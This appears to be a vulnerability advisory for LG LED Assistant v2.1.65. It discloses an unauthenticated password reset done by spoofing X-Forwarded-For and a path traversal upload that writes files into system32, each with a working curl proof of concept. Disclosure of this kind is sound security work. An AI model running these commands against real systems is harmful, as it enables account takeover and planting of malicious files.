LG LED Assistant v2.1.65 Multiple Vulnerabilities

Multiple vulnerabilities exist in LG LED Assistant v2.1.65.

Each issue has been assigned a CVSS vector of CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H.

CVE-2024-2862 - Unauthenticated Password Reset

The endpoint handler for /api/changePw in Common.js allows an unauthenticated remote attacker to change the application password without knowing the current one. The handler allows this if it determines the password changing request is coming the local host. The remote attacker can make the request to appear coming from the local host by sending a X-Forwarded-For header with value of 127.0.0.1.

PoC:

curl -k -X PUT -H 'X-Forwarded-For:127.0.0.1' -d 'newPw=Password@123&hostName=hostName&to=to&user=user&from=from' 'https://<target>:8787/api/changePw'
{"resCode":"SUCC"}

CVE-2024-2863 - Thumbnail Path Traversal File Upload

A path traversal vulnerability exists in the endpoint handler for /api/thumbnail in Common.js. An unauthenticated remote attacker can exploit this to upload arbitrary files to any location on the disk drive where the product is installed.

PoC:

curl -k -d 'fileName=/../../../../../windows/system32/evil.exe&fileStr='$(echo -n 'malicious content' | base64 | tr -d \\n | sed 's/=/%3d/g;s/+/%2b/g') 'https://<target>:8787/api/thumbnail'
{"resCode":"SUCCESS"}